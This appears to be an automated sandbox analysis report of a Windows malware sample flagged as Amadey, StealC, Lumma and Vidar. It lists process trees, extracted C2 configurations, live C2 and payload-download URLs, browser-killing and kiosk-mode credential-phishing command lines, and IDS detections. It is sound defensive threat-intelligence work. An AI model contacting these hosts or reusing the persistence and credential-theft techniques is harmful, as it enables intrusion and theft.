Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1574083
MD5:	4873dec39296c80c3863e04149e492bb
SHA1:	4ceb2e1553a82ac5f05cefc8c1b688e768c92de3
SHA256:	172e1e49642648745fefdbebd4c76c41049a4f0edd14eeb7904b709f0add5cbc
Tags:	Amadeyexeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops password protected ZIP file

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

file.exe (PID: 7348 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4873DEC39296C80C3863E04149E492BB)

skotes.exe (PID: 7804 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4873DEC39296C80C3863E04149E492BB)

skotes.exe (PID: 7856 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4873DEC39296C80C3863E04149E492BB)

skotes.exe (PID: 7836 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4873DEC39296C80C3863E04149E492BB)

cfeb78330e.exe (PID: 8052 cmdline: "C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe" MD5: B8501B9AD61E6247049C8C36BF6EAF57)

d71513cd6d.exe (PID: 7664 cmdline: "C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe" MD5: 89F43935DD16AF2945DA61DB6C46A02D)

taskkill.exe (PID: 3544 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1052 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7440 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3476 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6084 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 936 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

1c49dbdc29.exe (PID: 2748 cmdline: "C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe" MD5: 36CE95040ED17E3C4CCF84EF67666738)

93ee6c8e33.exe (PID: 5956 cmdline: "C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe" MD5: 39D7CC067A59D8F1770A51C3BBEF5B32)

01ea17bf64.exe (PID: 2968 cmdline: "C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 2540 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 4872 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

8b42a83bd5.exe (PID: 8152 cmdline: "C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 5412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5616 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 800 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 880 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2292 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77351dd8-8927-4914-94fc-1a87a0368b0e} 800 "\\.\pipe\gecko-crash-server-pipe.800" 1f33906f910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3580 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -parentBuildID 20230927232528 -prefsHandle 4084 -prefMapHandle 2892 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {56b04377-1d30-41f5-a844-cf83270b3c57} 800 "\\.\pipe\gecko-crash-server-pipe.800" 1f34b606a10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

d71513cd6d.exe (PID: 2056 cmdline: "C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe" MD5: 89F43935DD16AF2945DA61DB6C46A02D)

taskkill.exe (PID: 7992 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1336 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4492 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5236 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2188 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

1c49dbdc29.exe (PID: 6484 cmdline: "C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe" MD5: 36CE95040ED17E3C4CCF84EF67666738)

93ee6c8e33.exe (PID: 1372 cmdline: "C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe" MD5: 39D7CC067A59D8F1770A51C3BBEF5B32)

d71513cd6d.exe (PID: 1020 cmdline: "C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe" MD5: 89F43935DD16AF2945DA61DB6C46A02D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001E.00000003.3040296084.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3313204414.0000000000B91000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.3106684027.0000000000B91000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.3203387497.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d71513cd6d.exe PID: 7664	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 1c49dbdc29.exe PID: 2748	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 1c49dbdc29.exe PID: 2748	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d71513cd6d.exe PID: 2056	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 1c49dbdc29.exe PID: 6484	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 1c49dbdc29.exe PID: 6484	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.skotes.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.390000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.skotes.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7836, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d71513cd6d.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7836, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d71513cd6d.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:51:11.349165+0100	2028371	3	Unknown Traffic	192.168.2.6	50057	172.67.139.78	443	TCP
2024-12-12T21:51:13.670986+0100	2028371	3	Unknown Traffic	192.168.2.6	50069	172.67.139.78	443	TCP
2024-12-12T21:51:16.117221+0100	2028371	3	Unknown Traffic	192.168.2.6	50072	172.67.139.78	443	TCP
2024-12-12T21:51:19.202890+0100	2028371	3	Unknown Traffic	192.168.2.6	50075	172.67.139.78	443	TCP
2024-12-12T21:51:21.634172+0100	2028371	3	Unknown Traffic	192.168.2.6	50077	172.67.139.78	443	TCP
2024-12-12T21:51:23.826282+0100	2028371	3	Unknown Traffic	192.168.2.6	50079	172.67.139.78	443	TCP
2024-12-12T21:51:26.542205+0100	2028371	3	Unknown Traffic	192.168.2.6	50082	172.67.139.78	443	TCP
2024-12-12T21:51:35.134461+0100	2028371	3	Unknown Traffic	192.168.2.6	50102	172.67.139.78	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:51:12.350510+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50057	172.67.139.78	443	TCP
2024-12-12T21:51:14.685903+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50069	172.67.139.78	443	TCP
2024-12-12T21:51:39.841856+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50102	172.67.139.78	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:51:12.350510+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50057	172.67.139.78	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:51:14.685903+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50069	172.67.139.78	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:50:17.541413+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49895	185.215.113.43	80	TCP
2024-12-12T21:50:25.106854+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49913	185.215.113.43	80	TCP
2024-12-12T21:50:33.497938+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49937	185.215.113.43	80	TCP
2024-12-12T21:50:43.901540+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49966	185.215.113.43	80	TCP
2024-12-12T21:50:56.455345+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50003	185.215.113.43	80	TCP
2024-12-12T21:51:03.827834+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50017	185.215.113.43	80	TCP
2024-12-12T21:51:10.478964+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50047	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:51:21.385463+0100	2044247	1	Malware Command and Control Activity Detected	116.203.10.31	443	192.168.2.6	50076	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:51:23.799211+0100	2051831	1	Malware Command and Control Activity Detected	116.203.10.31	443	192.168.2.6	50078	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:51:19.097698+0100	2049087	1	A Network Trojan was detected	192.168.2.6	50074	116.203.10.31	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:51:17.965537+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50072	172.67.139.78	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:50:35.249202+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49941	185.215.113.206	80	TCP
2024-12-12T21:50:55.117918+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49997	185.215.113.206	80	TCP
2024-12-12T21:51:18.709259+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50073	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:50:05.911967+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49866	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:50:16.194759+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49872	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:50:10.394039+0100	2803305	3	Unknown Traffic	192.168.2.6	49878	31.41.244.11	80	TCP
2024-12-12T21:50:19.021535+0100	2803305	3	Unknown Traffic	192.168.2.6	49901	185.215.113.16	80	TCP
2024-12-12T21:50:26.612156+0100	2803305	3	Unknown Traffic	192.168.2.6	49919	185.215.113.16	80	TCP
2024-12-12T21:50:34.990349+0100	2803305	3	Unknown Traffic	192.168.2.6	49942	185.215.113.16	80	TCP
2024-12-12T21:50:45.452212+0100	2803305	3	Unknown Traffic	192.168.2.6	49971	31.41.244.11	80	TCP
2024-12-12T21:50:58.097069+0100	2803305	3	Unknown Traffic	192.168.2.6	50006	31.41.244.11	80	TCP
2024-12-12T21:51:05.294423+0100	2803305	3	Unknown Traffic	192.168.2.6	50023	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpHSl	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/fate/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php/$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php5G	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpKs	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php.f	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpxe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpmx	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php524001	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/encoxx/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpIGb	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpEGn	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe	Avira: detection malicious, Label: HEUR/AGEN.1306956
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Avira: detection malicious, Label: HEUR/AGEN.1306956
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen

Found malware configuration

Source: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe	ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Joe Sandbox ML: detected
